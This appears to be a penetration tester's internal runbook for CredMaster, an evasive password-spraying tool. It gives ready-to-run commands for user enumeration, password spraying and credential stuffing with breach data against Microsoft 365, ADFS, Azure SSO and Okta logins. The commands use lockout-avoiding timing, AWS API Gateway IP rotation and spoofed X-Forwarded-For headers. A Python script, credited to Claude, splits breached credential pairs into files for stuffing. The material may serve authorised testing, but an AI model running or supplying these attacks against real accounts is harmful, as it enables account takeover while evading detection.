Install:

cd /opt/
git clone https://github.com/knavesec/CredMaster.git
cd CredMaster
virtualenv -p python3 env
source env/bin/activate
python3 -m pip install -r requirements.txt
deactivate
cd /opt/

Overview:

CredMaster is an evasive password spraying tool. The tool allows command line integration with AWS API Gateway via access and secret keys you can request from the systems team.

Usage:

The example below includes usage of the adfs plugin.

./credmaster.py --plugin adfs --url https://adfstarget.example.com \
-u user-test.txt -p pass-test.txt \
-o ~/testspray.txt \
--access_key "aws-access-key" --secret_access_key "aws-secret-key"

User Enumeration

can use the o365enum plugin to validate accounts against MSOL. Only works for Managed tenants. Usage

python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin o365enum \
-u ~/work/contacts/all-unique-emails.txt \
-a useragents.txt \
--color \
--randomize \
-t 5 \
-j 20 \
-m 10 \
-o ~/work/password-sprays/o365-userenum-CUSTOMER-NAME

The AzureSSO module can be used for username enumeration for Federated Tenants. Keep in mind that valid users will have “Unknown Response” that indicates a valid user. GoMapEnum also has an AzureSSO module more specifically for username enumeration; however, it still counts as an invalid auth attempt, but, the output is much nicer for screenshots, as it says “The user foo@bar .com seems to exist”. Only downside is GoMapEnum doesn’t use fireprox, but I haven’t had any issues with it, used GoMapEnum for 13k accounts with no issues.

MSOL Password Spray

The following command should do 1 password spray for the list of users every 75 minutes which is specified via the -d flag set to 75 and the --passwordsperdelay flag set to 1 This is nice as the --remove will remove valid found cred users and can set it and forget it for the day. Should still keep an eye on it, but it nice.

python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin msol \
-u ~/work/password-sprays/valid-emails.txt \
-p passwords.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-msol-spray-{{ CUSTOMER }} \
-t 5 \
-j 20 \
-m 10 \
-d 75 \
--randomize \
--color \
--remove \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1

Azure SSO Password Spray

Can also be used for user enumeration. Even if SSOEnabled shows up as false from ReconAsOutsider, can still be used for username enumeration.

python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin azuresso \
--domain tenantdomain.com \
-u ~/work/password-sprays/potential_usernames_CUSTOMER_NAME.txt \
-p passwords.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-azure-sso-spray-CUSTOMER_NAME \
--color \
-t 5 \
-j 20 \
-m 10 \
-d 75 \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1

Okta Password Spray

Must use single threaded for best results.

python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin okta \
--url https://CHANGEME.okta.com \
-u ~/work/password-sprays/all-valid-emails.txt \
-p passwords.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-okta-spray-{{ CUSTOMER }} \
-j 20 \
-m 10 \
-d 75 \
--randomize \
--color \
--remove \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1

Cred Stuffing:

Credential stuffing is an automated attack used to inject stolen username name and password pairs (credentials) into a login form. Instead of guessing a single password for a list of users.

MSOL Credential Stuffing:

python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin msol \
--userpassfile {{CUSTOMER-breach-data-creds}}.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-msol-cred-stuffing-{{ CUSTOMER }} \
-t 5 \
-j 20 \
-m 10 \
--color \
--passwordsperdelay 1 \
--xforwardedfor 127.0.0.1

Okta Credential Stuffing:

python3 credmaster.py --access_key "$AWS_ACCESS_KEY_ID" \
--secret_access_key "$AWS_SECRET_ACCESS_KEY" \
--plugin okta \
--url https://CHANGEME.okta.com \
--userpassfile {{CUSTOMER-breach-data-creds}}.txt \
-a useragents.txt \
-o ~/work/password-sprays/"$(date '+%Y_%m_%d__%H_%M_%S')"-okta-spray-{{ CUSTOMER }}

Clean Up

The following command can be used to clean up the AWS infrastructure CredMaster used for sprays. CredMaster should automatically do this but in the event the job fails for some reason this command can come in handy

python3 credmaster.py  --access_key "$AWS_ACCESS_KEY_ID" --secret_access_key "$AWS_SECRET_ACCESS_KEY"  --clean

Tips

  • You can also use a list and timing directives (H/T Cameron). --delay 70 --passwords-per-delay 1 -p passwordslist.txt
  • Be sure to check your username list for duplicate usernames (account for any extra whitespace, case sensitivity etc.) Can use something like cat <USERNAME_LIST>.txt | tr '[:upper:]' '[:lower:]' | sort -uV
  • Checkout the script below to help you write duplicate cred stuffing accounts with different passwords to separate files
  • --trim and --remove flags can be used to remove users with creds found from future sprays

write duplicate cred stuffing accounts with different passwords to separate files

Claude AI wrote this script…

import os
from collections import defaultdict
 
def process_creds(input_file, output_dir):
    # Ensure output directory exists
    os.makedirs(output_dir, exist_ok=True)
 
    # Dictionary to store users and their passwords
    user_passwords = defaultdict(list)
 
    # Read the input file and process each line
    with open(input_file, 'r') as f:
        for line in f:
            line = line.strip()
            if ':' in line:
                user, password = line.split(':', 1)
                user_passwords[user].append(f"{user}:{password}")
 
    # Prepare data for writing
    unique_creds = []
    duplicate_creds = []
 
    for user, creds in user_passwords.items():
        if len(creds) == 1:
            unique_creds.append(creds[0])
        else:
            duplicate_creds.extend(creds)
 
    # Write unique credentials to file
    with open(os.path.join(output_dir, 'creds_1.txt'), 'w') as f:
        for cred in unique_creds:
            f.write(f"{cred}\n")
 
    # Sort duplicate credentials by frequency and write to files
    if duplicate_creds:
        duplicate_creds.sort(key=lambda x: user_passwords[x.split(':')[0]].index(x))
        file_number = 2
        while duplicate_creds:
            filename = f'creds_{file_number}.txt'
            with open(os.path.join(output_dir, filename), 'w') as f:
                users_written = set()
                i = 0
                while i < len(duplicate_creds):
                    user = duplicate_creds[i].split(':')[0]
                    if user not in users_written:
                        f.write(f"{duplicate_creds[i]}\n")
                        users_written.add(user)
                        duplicate_creds.pop(i)
                    else:
                        i += 1
            file_number += 1
 
    print(f"Processed credentials. Results saved in {output_dir}")
 
# Usage
input_file = 'creds.txt'
output_dir = 'processed_creds'
process_creds(input_file, output_dir)

See Also